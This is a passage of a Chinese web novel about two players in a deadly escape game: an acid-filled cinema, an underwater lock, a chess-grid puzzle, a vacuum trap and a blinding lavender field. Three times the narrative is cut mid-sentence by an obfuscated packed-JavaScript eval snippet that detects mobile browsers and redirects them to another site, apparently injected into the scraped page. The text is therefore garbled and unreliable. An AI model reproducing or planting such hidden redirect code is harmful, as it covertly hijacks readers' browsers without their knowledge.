“啊……!!!” 他短促地惊叫一声,触电般抬起脚,单腿蹦跳着保持平衡,脸上血色褪尽。 “别站地上了!” 我赶紧过去扶着他,同时借着手电的光扫过那些蒙着白布、同样被粘液腐蚀得斑驳不堪的座椅,“地面腐蚀性最强,虽然座位也不安全,但比直接接触地上的酸强,站到座位上去。” 我率先踩上最近的一张座椅。 包裹座椅的布料早已腐烂,脚踩上去直接陷进了潮湿发霉的海绵填充物里,但至少隔开了下面那层不断渗出消化液的“肉毯”。 丁黎梓慌忙跟上,狼狈地跨上旁边一张椅子。 他的板鞋鞋底已经缺了一大块,露出下面的袜子和隐约发红的皮肤。 “坐着目标太大,容易被滴到,站着灵活点。”我赶忙交代,“我去那边看看,你自己注意头顶的‘酸’和脚下座位是否稳固,有情况立刻喊我。” 手电光扫过“胃壁”上方一个突兀的凸起。 那看起来好像不是肉瘤,是一个被包裹的红色金属箱体,表面漆皮剥落,依稀可见“消防”字样。 一根布满粘液、类似橡胶软管的物体从箱体一侧垂落,末端几乎触及地面,管口被半透明的肉膜封住。 一个消防栓? 不对,更像是这个“消化腔”在吞噬电影院时,未能完全分解、反而被畸形整合进来的异物。 “丁黎梓,你看!”我压低声音,脑中念头飞转。 酸可以用大量水稀释中和,这是化学常识。 如果那根管子还能通水…… “你是想放水?可这鬼地方哪来的供水系统?”丁黎梓单脚站着,艰难地用手电稳住光柱。 “它自己在‘代谢’,就有液体循环。”我盯着那根被生物组织包裹的软管,“赌一把呗,这管子连着它自己的‘循环系统’或者……还没被消化掉的原建筑管道。” 但问题来了,玻璃柜门被增生组织糊住,我独臂难以迅速撬开……若是直接砍管子,万一是血管或毒腺什么的呢? 就在这时,我目光落在那些被腐蚀的座椅铁架上。 几根锈蚀的支撑铁棍脱落在地,其中一根较为细长。 “有了。”我俯下身,保持平衡走过去,用脚将那根铁棍拨到跟前,右手捡起。 “你注意下我碰到那箱子时,这‘胃’会不会收缩。” 我将铁棍较尖的一端对准消防栓箱门缝隙,利用杠杆原理,将全身重量压上右臂,狠狠一撬。 “嘎吱——噗嗤!!” 箱门被撬开的瞬间,一股浓烈的腥臭黄水从缝隙喷涌而出,溅在旁边的肉壁上,立刻灼烧出更深的坑洞,发出剧烈的“嘶嘶”声。 这水酸性更强! 但箱门终于开了。 里面蜷缩的消防软管看起来相对完整,阀门锈死,但连接口似乎还可以转动。 最关键的,箱子内壁有一个独立的、小巧的手动泵,似乎是老式影院自救设备的一部分,竟未被完全腐蚀。 这可能是唯一的“净水”来源,泵取这个空间自身循环中尚未被胃酸完全混合的“□□”或“淋巴液”,虽然依旧危险,但浓度可能较低。 “丁黎梓,准备接应!我要泵水了,不确定出来的是什么,也可能更糟!” 我用铁棍卡住阀门,右手抓住手动泵拉杆,用尽全身力气,开始一下、一下地压动。 起初只有几声空洞的抽气声。 紧接着,软管剧烈颤抖,一股淡黄色、粘稠度稍低的液体猛地从管口冲破肉膜,激射而出! 我立刻将管口对准我们脚下那片被腐蚀得最厉害、不断渗出消化液的“地面”。 “嗤——!!” 水柱与强酸地面接触的瞬间,白汽疯狂蒸腾,刺鼻气体弥漫。 被冲刷的区域,腐蚀声明显减弱,颜色变浅。 太好了!有效! 但与此同时,整个腔体剧烈痉挛起来,头顶粘液滴落的速度倍增,肉壁开始向我们缓缓合拢。 它感知到了“不适”,竟开始加速消化我们! “地面暂时安全了,下来帮忙!” 我一边继续压动手动泵,一边喊道。 在水流持续的稀释下,我们周围一小片区域的腐蚀性显著下降,蒸腾的白汽也减弱了很多。 丁黎梓闻言,毫不犹豫地从椅子上跳下。 他那只鞋底被严重腐蚀的脚悬空蜷起,仅靠另一只相对完好的脚保持平衡,姿势狼狈。 而这时,幕布毫无征兆地亮了。 没有片头,没有音乐,只有一片扭曲晃动的光影。 画面中央,是一本皮革封面被蚀穿大半的笔记本。 特写推进,纸张焦黄卷曲,边缘布满蛀洞。 一句残缺的话,随着腐蚀痕迹的蔓延,在纸上浮现: “_ _ _说,交出真名,就能_ _ _ _。” 紧接着,句子末尾的空白处,像被无形之笔蘸着鲜血填满,挣出几个字: “我是_ _ _。” 但名字的部分,始终是翻滚的、令人作呕的马赛克般的肉粒,不断蠕动,无法辨认。 一个声音贴着头皮响起:“名字……是最后的祭品。也是……唯一的钥匙。” 画面的内容突然分裂,重组,发出湿腻的粘合声。 最终,它勉强凝固成三团勉强能辨的、残缺的字块: “讠”、“寸”。 拼成“谢”,但缺了“身”。 “丷”、“口”、“心”。 拼成“总”,但“心”缺了中间一点。 “礻”、“羊”。 拼成“祥”,但“示”缺了左上一点。 最后幕布上只留下三行冰冷的、由光线凿刻出的填空题: 第一空:_ _(承载存在之基) 第二空:_ _(驱动执念之源) 第三空:_ _(见证罪孽之窗) 填空题吗? 根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979668|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据字缺少的部分去猜的话,这倒是很简单。 “‘身之所存’——躯干。‘心之所系’——心脏。‘目之所视’——眼睛。” “咔哒……隆隆隆……” 头顶传来沉重的机械运转声,是来自影院真正的天花板。 那里,一个被肉膜包裹的老式大型排风扇缓缓停止转动,扇叶中心,一个卷盘降了下来,上面缠绕着结实的攀爬绳索,末端是沉重的钩锁。 但卷盘卡在离地近四米的高度,且绳索纠结,需要有人爬上去解开、固定。 丁黎梓看了一眼自己血肉模糊、几乎无法用力的脚,又看向我空荡的左肩。 “你先上。”我快速决断,“你脚伤了,但胳膊是好的,爬绳子主要靠手。我一只手没法独自爬,但我可以在下面帮你稳住绳子,你上去后固定好,再把我拉上去。” 丁黎梓看了一眼自己血肉模糊的脚,又看了看绳索,点头。 时间紧迫,下方消化腔的痉挛越来越剧烈。 他咬牙抓住绳索,尝试用脚蹬墙,但脚底一接触墙面就疼得闷哼一声,根本无法发力。 “别用脚!”我低喝,“纯靠手臂,腹部收紧!我在下面把绳子缠在腰上给你当固定锚点,减少摆动!” 我将绳索末端在自己腰间缠了两圈,扎紧,背靠那根尚未完全腐蚀的承重柱,扎稳马步,用全身重量和核心力量对抗绳索可能的晃动。 “上!” 丁黎梓深吸一口气,完全依靠双臂力量,开始引体向上式地攀爬。 他手臂肌肉块块隆起,青筋暴突,就在他即将够到下一段绳索时—— 嗤啦! 上方积聚的粘稠酸液,毫无征兆地滴落,正中他的肩背。 酸液滴落的轨迹就在他头顶上方,我必须移动绳索才能避开,可哪怕一寸的横向挪动,都意味着我要同时对抗他全身的重量和绳索巨大的摆动惯性。 右肩的骨头在呻吟,腰间的绳索勒得我几乎无法呼吸。我只能死死钉在原地,从齿缝里挤出嘶哑的声音: “忍住,再快一点……别停!” 除了相信他能熬过去,我什么也做不了。 我努力稳住绳索,减少他的能量消耗。 他终于爬到卷盘处,飞快地解开纠缠的绳索,将钩锁死死扣在排风扇骨架上。 “好了!晨晨,抓住绳子!” 我解开腰间绳索,用右手单手握紧。 上方,丁黎梓已经将绳索在他自己腰上缠了一圈,然后双手交替,开始发力上拉。 “脚蹬墙!给我个支点!”他吼道。 我用右脚猛蹬墙面,在他拉拽的瞬间向上发力,像是是徒手攀岩中保护员与攀登者的配合。 他提供主要提升力,我蹬墙减少他负担并控制方向。 好在我目前上升得很平稳。 一点点,远离下方那翻腾的、即将合拢的肉壁和酸液。 就在我脚底即将离开地面瞬间,下方最后一片立足之地被粘液淹没。 丁黎梓咆哮一声,爆发出最后力量,将我猛地拽了上去! 我们两人滚进狭窄的排风扇通道,跌作一团。 几乎在同时,下方传来血肉沉闷的彻底合拢声,像巨兽闭上了嘴。 最后一点光线被吞噬,只有我们粗重无比的喘息在黑暗通道里回荡。 丁黎梓的脚还在渗血,我的右手脱力般颤抖,左臂的疼痛如同有了心跳,一阵阵搏动。 但,我们出来了。用最原始的协作,从“消化腔”的喉咙里逃了出来。 我们不敢久留。 谁也不知道,这通道本身,是不是这栋活体建筑的另一段“肠道”。 “能走吗?”我看向丁黎梓的脚。 他咬咬牙,撕下自己一节衣袖,胡乱裹住脚底,“死不了。走。” 我搀着他,一瘸一拐,继续前进。 19.第19章 前面已经没路了。 结合刚才电影院的方位、这条通道的走向,以及我们在里面行进的距离来判断,这里应该就是第二个坐标点。 可放眼望去,什么都没有。 四周是规整而封闭的墙面,身后的通道幽深漆黑,也不可能再退回去了。 ……就是这里没错。 我低头看了一眼地图,坐标正是脚下的位置。 “这里肯定有机关,只是还没被触发,一旦启动,应该就能通往第二个坐标点。”我在地上摸索着。 墙面上有一条细长的凸起。 我用手电照过去,光圈里浮现出两个并排的把手,横着嵌在墙上。 像是门把手,又更像老旧柜子上的拉环,突兀地生在不该出现的地方。 “这什么鬼东西。” 我伸手摸了摸,用力往里一按,居然真的陷了进去,又迅速弹回原位,伴随着一声空洞的回响。 一个是长圆形的把手,一个是长方形的。 为什么形状不一样? 我又按了按长方形的那个,同样弹回,同样有回声。 这绝对是通往第二个坐标的机关。 我举着手电扫向四周,忽然注意到通道墙壁上有细细的纹路。 那种纹路……像复式楼梯扶手的立柱。 我顺着墙往前照,又看了看旁边……果然。 一根是方柱纹,一根是圆柱纹,交错排列。 “丁黎梓,你过来看。”我招呼他,“这边的纹路,一个是方的,一个是圆的。我觉得顺序就在这里。” 我往来时的方向退了几步,发现整条通道的墙壁上,全是这样的纹路。 “你该不会要从头一个一个数吧?”丁黎梓靠在两个把手旁。 “不然呢?让你这腿脚不便的来?” 我已经举着手电往回走了,“等会儿你只看我手电的光——照左壁是方,按方把手;照右壁是圆,按圆的。” 怕他听不清,我特地强调了一遍。 为了节省时间,我一路小跑回到起点。 “听得见吗!”我喊。 “你说什么?!”他的声音从通道尽头传来,断断续续。 ……果然听不见。 那就开始。 我按照纹路出现的顺序左右打灯。 “方……圆……圆……方……方……” 我一边低声念,一边打光,通道里不断传来他按下把手的回响。 刚走到一半,异变骤生。 通道四周开始渗出酸液,顺着墙壁缓缓流下,纹路被腐蚀得发出滋滋声。 “操!没时间了!” 我拔腿往前冲,“丁黎梓,加快!” 我一边跑,一边拼命辨认剩下的纹路,手电光在墙面上疯狂晃动,嘴里几乎是吼出来的—— “圆!方!圆!” 纹路越来越模糊,我的判断也开始迟疑。 丁黎梓缩着身子,尽量避开把手附近渗出的酸液,干脆脱下上衣裹住手,继续按。 最后一个。 我几乎是贴着墙确认的。 “是圆!!” 他猛地按下圆形把手。 下一秒,酸液开始倾泻,而我们脚下的通道墙壁缓缓裂开—— “跳!”我一把拉住丁黎梓,“快跳下去!” 他却猛地挣脱了我的手。 “不行!我恐高!” ……wdnmd???!!! 我差点当场裂开。 “酸都流到脚边了,你现在又不怕疼了是吧!”我吼他。 “可下面是什么谁知道啊!万一是实地,我们会被摔死的!”他眼神飘忽,明显在找借口。 “不会的!”我咬着牙跟他解释,“这是唯一通道,不可能是死路,这又不是二选一!” 酸液已经逼到脚边,热气和腐蚀味直往鼻腔里钻。 我深吸一口气,把手放在他背上,强迫自己语气平稳下来。 “丁黎梓。” “既然你恐高,不敢跳,那我背你,往回走,看看还有没有别的路。” 他眼睛一亮,立刻点头。 就在酸液即将漫到脚背的瞬间,我蹲下身,把他背了起来。 “走吧,晨晨。”他的手搭在我肩上。 “抓紧了哦。” 我回头,往前走了两步,眯着眼冲他笑了一下。 他像是意识到了什么,表情一僵。 下一秒—— 我直接一个纵身跃下! “啊啊啊啊啊啊!!!晨晨你骗我!!!” 他的惨叫声在通道里疯狂回荡。 我无视他的惨叫,也无视他抓得我肩膀生疼的手,我抽出武士刀划进身侧的岩壁,勉强放缓了我们下坠的势头,在下坠中默默读秒。 扑通—— 冰冷的水瞬间吞没了我们。 竟然这么深。 我屏住呼吸,拼命向上游去,一条胳膊受限,手腕也被刚刚武士刀反向冲击力扭到了,基本只能靠双腿。 丁黎梓却游得极快。 我忽然想起公司团建那次在苏梅岛,他是所有人里游得最快的一个。 这逼居然不救我…… 我在心里暗骂了一句。 大概是在报复我上一关拿他的命当诱饵。 体力迅速流失,我的动作开始变得迟缓,视线都有些发虚。 就在我快撑不住的时候,看到他已经游到岸边,却又猛地掉头,朝我这边游了回来。 他一把拽住我,把我拖出了水面,带着我一起上了岸。 我缓了好一会儿,呼吸才终于顺下来。 抬头看他,一时间竟不知道该说什么。 “看我干嘛?”他双手抱胸,语气别扭,“谁让你骗我跳下来的。” 哦。 原来不是因为我之前把他当诱饵的事。 “要不是我少了条胳膊,我自己也能游上来。” “你这人真是一点都不可爱,”他撇了撇嘴,“就不能说句谢谢?” 我狠狠瞪了他一眼:“你少说有的没的!” “凶死了。”丁黎梓揉了揉肩,“刚才我回来拉你的时候,好像看到水里有个箱子,被绳子绑在石头上。” “难不成是……?”我心里一紧。 我扶着岸边再次潜下水。水色昏暗,只能勉强看清轮廓——果然有个模模糊糊的箱子,沉在水底。 我浮上来换气:“你眼睛还挺好使。” “我下去拿。”丁黎梓伸手想拉我。 “我得一起。”我拦住他,“既然绑了绳子,肯定得用刀。你来割,我扶稳绳子。” 他点头:“行。” 我们再次潜入水中。我咬住武士刀,右手攥着他的腰带,由他带着往下潜。 水越来越冷,压得耳膜发疼。 大概七八米深,寒意顺着腿骨往上爬,冻得人发麻。 面前漂着那个箱子,被粗绳缠得严严实实,绳结交叉着固定在石头上,像是生怕它再浮上去。 我用一只脚踩住压在石头上的绳子,右手死死攥住另一端,让绳子绷紧不动,示意丁黎梓动手。 他拔刀下切。 我本就不擅水性,胸口憋得不行,视线开始发花,刚才坠水的冲击让身体多处隐隐作痛。我急促地朝他比了个手势——时间不多了。 丁黎梓明显也快撑不住了,动作加快。 绳子终于断开。 箱子失去束缚,缓缓往上浮去。 丁黎梓拉住我的胳膊,带着我朝水面游去。 上岸后喘了好一会儿,水面才泛起涟漪,那个箱子也浮了上来。 我们把它拖上岸,放在脚边。 箱子上挂着一把锁,上面只有一句话: “刚刚掉落的时候,大概是多少米?” 我愣了一下,随即笑了出来。 幸好,刚才我在往下坠的时候,顺手读了秒。 毕竟不是自由落体,无法准确计算出来掉落多少米,但我回想了一下…… 第一秒。 虎口和腕骨受到的冲击力像被铁锤砸中。 第二秒。 手臂的肌肉在尖叫,肩膀关节发出不堪重负的呻吟。 我知道当时的骨头还没断,但每一根肌腱都像拉到了极限的弓弦。 刀身在震动,发出高频的嗡鸣,传到我手心,麻了半个身子。 第三秒。 水面在急速逼近,从一片朦胧的深蓝,迅速变成清晰、甚至能看到波纹的镜面。 入水。 撞击比我想象的温和。 没有粉身碎骨的剧痛,更像被一个巨大的巴掌从脚到头狠狠拍了一遍。 水瞬间淹没了我,耳膜压力骤增,但意识无比清醒。 减速起了作用。 我在水下翻滚了几圈,借着残余的惯性滑向更深处,随后疼痛才慢慢浮现——握刀的手腕迅速肿起,肋骨处传来一阵闷闷的压痛。 但我和丁黎梓都没有重伤。 这说明,我们算是安全入水。 如果是这样,入水瞬间的速度大概在10到12米每秒之间。 我蹲在岸边的湿土上,用手指画着公式,自言自语: “总下落时间是3秒,最终安全速度按12米每秒算,重力加速度9.8米每秒平方……” “那减速度,大概是5.8米每秒平方。” 接下来,只需要反推高度。 我在地上写下数字和公式,一项一项代入。 计算结果很快就出来了—— 我盯着这个数字看了一会儿。 十八米。 难怪刚才那一下,像是把全身的骨头都重新敲了一遍。 我把锁上的数字调到那个答案。 “咔哒。” 锁开了。 一瞬间,我愣住了—— 居然一点误差都没有……?! 我忍不住低声笑了一下,胸腔里那口一直憋着的气终于吐了出来。 ……还真被我算对了。 箱盖被掀开的那一刻,笑意却僵在了脸上。 里面是一具只剩上半身的白骨,皮肉尚未完全腐烂,惨白与暗红交错,散发出一股潮湿、冰冷的气味。 “这……应该就是谢总祥的躯干。” 我脱下外衣,轻轻地将那具尸体仔细包裹起来。 “那现在怎么办?咱们怎么出去?”丁黎梓叹了口气,“这地方完全就是个水帘洞。” 我知道他在急什么。 九点,是我们回去的死线。 “……岸上真的什么都没有吗?” 我强撑着发疼的身体,沿着湿滑的岸边往四周摸索过去。 上面根本不可能爬上去,我们也不可能再回到那个“胃酸电影院”。 可四周空空荡荡,什么都没有。 ……难道在水里? 这个念头一冒出来,我的身体却先一步发出了抗议。 肌肉酸胀得发麻,呼吸都带着疼,我已经快到极限 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983881|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “丁黎梓,你还有力气吗?” “不多,”他喘了口气,“但你需要的话,我就一定还能撑。” 我看向水面。 “我怀疑……水下还有机关。能把我们送到第三个坐标的那种。” 丁黎梓深吸了口气,调整了一下呼吸,抬手拍了拍我的肩。 “我下去看看。” “当心点,”我按住他的手腕,“下面可能有机关,别乱碰。” ……疼,别晃我。 他低头看我一眼,笑得意味不明:“你这是在关心我?” 我一时语塞。 现在当然不能让你死。 你要是死了,我怎么出去? 你还答应把积分分给我呢,肯定是能让你活一天是一天。 我移开视线,语气冷下来:“少bb,赶紧去。” 他应该是知道我生气了,没再说什么,转身潜入了水中。 我实在撑不住了,顺势躺倒在地,视线一阵阵发花,只能勉强捕捉到水面传来的动静。 哗啦、哗啦—— 水声。 我一屁股坐了起来。 不是死水。 如果还能听见水流声,那就说明这里的水是在流动的。 “这……这里有个洞口!”丁黎梓突然浮出水面,指着水下,“不过被一根根柱子挡住了,得掰开才能过去。” 卧槽,现在谁还有力气掰它啊…… 疲惫像铅块一样压在我身上,脑子里却蹦出一个画面——高中跟大学时,喻清月教我防身术的样子。 她徒手就能掰80公斤的臂力棒,虽然就一下……但当时给我看得目瞪口呆。 现在的我,连手臂都快抽筋了,想起她,反而让我有点想笑,又有点绝望。 我和丁黎梓潜入水下,用割下的绳子死死缠住一根柱子,用力猛拉,每拉十秒就浮上来换口气。 功夫不负有心人,终于,柱子被我们成功撑开。 丁黎梓把尸体背在身后,我紧跟着他,顺着洞口往上游。 洞十分狭窄,但我们咬牙坚持。 几乎是用爬的方式,我们一点一点挤了出去。 终于!!!重见天日,脚踏在坚实的地面上,我忍不住长出一口气。 我们沿着地图指示,向第三处坐标缓缓前行。 剩下的,只有谢总祥的心脏和眼睛还没有找到。 谢文岚、白羽他们……我根本不知道现在情况如何。 心里不免一阵发怵,才刚过第二个副本,就已经有人死,有人受伤,更别提后面还有整整十六个副本在等着我们。 第三个坐标,是一口枯井。 丁黎梓在井口紧握绳索,稳稳帮我拉着,我坐在木桶里,缓缓下沉。 打开手电筒,井口映出漆黑的深渊——空荡荡的。 “嘶嘶嘶淅淅索索……” 微弱的声响在井壁间回荡,像是蛇在吐信子,冰冷的气息顺着光线滑进心底,让我不由自主打了个寒颤。 我心头一紧,立刻贴着井壁躲了起来。 果然,蛇循着动静过来,鳞片摩擦井壁,发出细碎刺耳的声响。 它发现我的瞬间猛地弹起,张口就朝我扑来。 我几乎是本能反应,刀光一闪,横劈而下。 蛇身在半空中猛地一震,落地后还抽搐了几下,终于彻底不动了。 我盯着它看了两秒,确认没气了,这才弯腰把它拎起来,塞进怀里。 说不定还能带回去,煲个蛇汤。 “晨晨,你还好吗?刚刚听到好大的动静!”井口传来丁黎梓的声音。 “我没事儿,”我回应,“刚刚是一条蛇,别担心了。就请好吧,咱们能加餐了。” 希望丁黎梓和白羽能吃得惯蛇肉……我可不想大晚上再饿肚子了。 我向前走,来到一条分岔路口。 草,我刚刚真是乌鸦嘴。 刚才我还说,系统如果只给我们安排一条路,那条路就算看起来再危险,也不会直接把我们弄死。 可现在……如果系统故意给我们二选一,那就麻烦了…… 选错路,可就不是被蛇吓一跳那么简单了。 路口堵着两扇石门,我根本看不出里面有什么。 我伸手摸了摸冰凉的石门。 “解谜时间。”系统那贱兮兮的声音响起,“选对石门,心脏归你。选错……另一扇石门将为你打开——欢迎来到蛇窝。” 我谢谢你。 我靠近石门,手指轻轻抚过冰冷的石面。 突然,石壁上浮现出血红色的字: “黑先白后,步步相逼; 马走日,象走田; 只一着,便决生死。 心要稳,眼要准, 落子即开门。” 这明明是象棋的走法! 我环顾四周,地上赫然有九个凹槽,像棋盘的九宫格。每个凹槽里都有微微的凹陷痕迹,好像是让棋子落下的。 1 | 2 | 3 -------- 4 | 5 | 6 -------- 7 | 8 | 9 黑先白后,也就是说每次放棋子先黑后白。 马走日,象走田,落子要遵循象棋走法: 马走“日”形,类似跳两格横,一格竖。 象走“田”字,那就是斜对角两格。 我默默数了数手里的棋子——三黑三白,顺序一定要对。 20.第20章 题目已经明确提示了,黑棋就是马,白棋是象。 第一步要是错了,后面根本没法继续…… 九宫格棋盘,角落1、3、7、9,马根本跳不开,象也会直接出界……边中2、4、6、8,勉强能走一步,但下一步几乎必死。 只有正中央5,马能往四个方向跳日,象能往四个角走田。 第一步,黑棋放进中心凹槽5。 红光微微闪烁,好像是倒计时开始了,石壁没有异常。 第二步,白棋放进凹槽2。 沙沙声从石壁传来,仿佛提醒我下一步。 第三步,黑棋跳到凹槽7。 手微微发抖,红光越来越亮。 …… 落下最后一枚白棋,整个九宫格突然轰然震动,一条裂缝缓缓在石门中打开,透出冷风和隐约的黑影。 我擦了擦额头的汗,确认蛇窝没有触发,长长吐了口气。 真可怕。 这个副本的难度已经明显超出了常规试错的范围。 好在系统并不是纯粹要人送命,通常都会在队伍配置上留一线生机……至少,会安排一个擅长解该类谜题的人。 我们有两个懂棋的,才能硬生生把这一副本啃下来。既然如此,谢文岚那边大概率也会遇到和棋有关的谜题。 我忽然庆幸自己没有一时意气,非要和谢文岚一队。 若真是那样,丁黎梓和白羽必死无疑。 只有四个人了,可还有好几个孩子的尸体没有找到,我不能再失去队友了。 否则,根本没有通关的可能。 我走进石门内,在尽头看到了被严密包裹着的那颗心脏。 得来全不费工夫。 手指刚触碰到心脏—— 轰。 石门重重合拢。 我下意识转身冲过去,可来不及了。 原来如此……怪不得心脏被放在离门口那么远的地方,是为了断我退路。 “行吧。还有什么花样,一起上。” 说实话,我已经被折腾得心态发麻了。 就在这时,空气中忽然传来一阵低沉的嗡鸣,像是什么机关被启动了。 墙壁深处,一个类似排风机的装置开始高速旋转。 风声越来越急。 我呼吸了一下,感觉有些喘不上气。 再吸—— 还是一样。 ……它在抽空气。 是要把这里抽成真空。 我一下子明白过来,心猛地一沉。 “好啊,死系统。”我咬着牙笑了,“果然没那么简单。” 解谜的确打开了正确的石门, 但它可没说,在我拿到心脏的瞬间,门不会立刻关上。 空气变得越来越稀薄,耳边的嗡鸣声仿佛贴着脑壳震动。 不可能是死局。 一定还有办法。 一定有! 我强迫自己冷静下来,贴着石壁一步步摸索,在缝隙、每一寸不合理的地方仔细寻找。 也不知道是不是缺氧带来的错觉,我忽然听见了一阵极轻的声音—— 滴答、滴答。 我循着声音挪过去,推开一块刻意摆得很显眼的石头。 后面,竟藏着一枚定时炸弹。 我愣了一瞬。 这是要直接炸死我? ……不对。 炸弹……真空…… 如果系统真想让我死,随便一个都够了。 可现在,却摆了两种致命手段。 那只能说明,其中一个,是用来逃命的。 我迅速在脑子里把条件过了一遍。 空气正在被抽走,我已经开始明显地喘不上气,而炸弹的倒计时,还有九分半。 如果等它自然引爆,我恐怕早就因为缺氧憋死了。 所以,我必须提前引爆,而且时间不能乱。 爆炸太早,空气还充足,我会被直接炸死……但爆炸太晚,我若已经没气了,同样是死。 唯一的生路,是在空气几乎被抽干的时候,把炸弹紧贴石门引爆。 真空环境下,冲击波传播会被削弱,对我的伤害降到最低,但对近距离、封闭结构的石门来说,依然足够把它炸开。 也就是说……五分钟左右。 我得把定时器强行卡在五分钟内。 我深吸了一口越来越稀薄的空气,手心已经开始发麻。 我把炸弹拖到石门前,靠着门坐下,一边改动引信。 只要门被炸开…… 只要声音能传出去…… 希望丁黎梓能听见。 调整完后,我的视线已经开始不受控制地晃动。 空气几乎被抽空了,胸腔像被一只无形的手死死按住。 意识在一点点下沉,四肢先是发麻,像不属于我一样,逐渐失去知觉。 不行,不能在这里倒下。 我狠狠咬住自己的手,血腥味在嘴里徘徊,剧痛勉强把我从昏沉中拽回来一瞬。 趁着这最后的清醒,我拖着几乎不听使唤的身体,一点点往后爬,离石门越远越好。 眼前开始发黑,耳边只剩下自己心跳的回声。 再然后,意识彻底断线。 …… “晨晨……晨晨!!” 什么声音……好模糊。 好像有人在叫我。 “晨晨!!” 那声音猛地贴近。 我费力地睁开眼。 “晨晨!”那人声音终于清晰了,带着明显的哽咽,“你终于醒了……” 是丁黎梓。 我顺着他的视线看向石门,原本完整的石壁上,炸开了一个狰狞的洞口。 果然成了。 “哭什么。”我嗓子很干,“一个大男人。” 他没回嘴,只是抬手抹了把脸。 我撑着地面慢慢坐起来,忽然觉得嘴唇有点湿。 是他的眼泪吗…… 还是他……? 懒得细想了。 我伸手去够那颗被包裹好的心脏。 “卧槽!” 脚下一软,我整个人向前栽了一下。 丁黎梓眼疾手快扶住我:“先缓缓,别急着动。” “你都下来了,”我靠着石壁喘气,“绳子拴好了吧?不然咱俩没法上去。” “放心吧,”他语气恢复了几分平时里欠揍的样子,“你看我像那么蠢的人吗?” 我点点头:“像。” “靠!晨晨!”他炸了,“看在你刚刚昏死过去,我不跟你计较!” 我懒得再斗嘴,把心脏往怀里一收:“行了,我差不多缓过来了。快走吧,还剩眼睛没找呢。” 我们顺着绳子爬了出去。 最后一处坐标了。 我低头看了一眼地图。 一边跑一边看表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997346|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 晚上七点整。 终于,抵达终点。 眼前是一片薰衣草花海,紫色在夜色里铺展开来,风一吹,像翻涌的浪。 “哇,这地方真好看。”丁黎梓双手枕在脑后,“一点也不像闯关,倒像是约会。” 我猛地停下脚步。 “丁黎梓。” 我转身看他,“以后别再说这种话。” 他的笑僵了一下。 “何彦明死了,”我直直盯着他的眼睛,“你是不是挺开心的?” 空气一下子沉了下来。 “我……我不是那个意思。”他明显慌了,“你为什么要把我想得这么坏?刚刚明明我还救了你,你那会儿都昏死过去了,根本没有呼吸。” 我明白了什么,抬手,用指腹擦了擦嘴唇。 “我没说你给我做人工呼吸有问题。你对我到底什么想法,我并不关心。” 我往前一步,语气冷硬: “但你最好控制好自己,不要因为我们是队友,就不顾说什么话做什么事了。” 薰衣草在风里轻轻摇晃,香气甜得发腻。 可这一刻,谁都没心思欣赏。 我们沿着花海一直往前走。 尽头处零零散散立着几座建筑: 风车、灯塔、用木头搭成的秋千床,还有一间半埋在地里的酒窖。 像是被人刻意摆放好的布景,美得不真实。 “晨晨。” …… “又怎么了?”我回头,有点不耐烦。 可就在那一瞬间,我愣住了。 丁黎梓的眼睛,没有瞳孔。 彻彻底底的空白。 “我看不见了。”他声音发颤。 !!! 我赶忙扑过去确认。 可就在视线与他对上的那一刹那,世界猛地一暗。 我的视力,被瞬间夺走。 “叮咚——” 就在我们不知所措时,系统的声音在耳边响起,带着令人作呕的笑意。 “哎呀,你们看不见了吗?” “看不见——就对啦!” “眼睛在哪里?不是你看得见的地方。 看不见?很好。 他最后最后看到的,不在眼前,而在眼下; 看得最远的,从来不是眼睛,而是方向。” 它带着轻佻的语气给出了提示。 丁黎梓在我身后嘟囔:“晨晨,这系统又在说废话了吧?什么眼下、方向,这根本听不懂啊。” 我没有理他,眉头紧锁:“这绝对不是废话。每一个字都可能是线索。” “不在眼前” ……也就是不能直接看到,也不在我们正对的前方方向。 “眼下……难道是‘此刻’、‘当下’的意思?”我自言自语,心里有点打结。 谢总祥的眼睛,不在‘眼下’,也就是说,不在低处?那估计也不在酒窖里。 “看得最远的,从来不是眼睛,而是方向……”我嘀咕着,试图拼凑线索。 可眼前的建筑——秋千、酒窖、灯塔、风车——都静静矗立在花海里,纹丝不动,根本不能指路。 我伸出手,慢慢在薰衣草花海里摸索,每一株花都轻轻擦过指尖,带着淡淡的香气。 这个时候,突然刮起一阵风。 风吹过,带着湿气拂在脸上,花也轻轻触着我的身体,好像在告诉我,风从哪边来。 21.第21章 “丁黎梓。”我下意识偏过头,朝他的方向低声喊,“你还在那儿吗?” 失去视力后,我本能地想确认他的位置。 “在。”他的声音很快传来。 “那就别离我太远。”我说,“我们现在都看不见,一旦走散,找人会比找线索更麻烦。” 我顿了顿,语气笃定下来。 “谢总祥的眼睛,在风车里。” 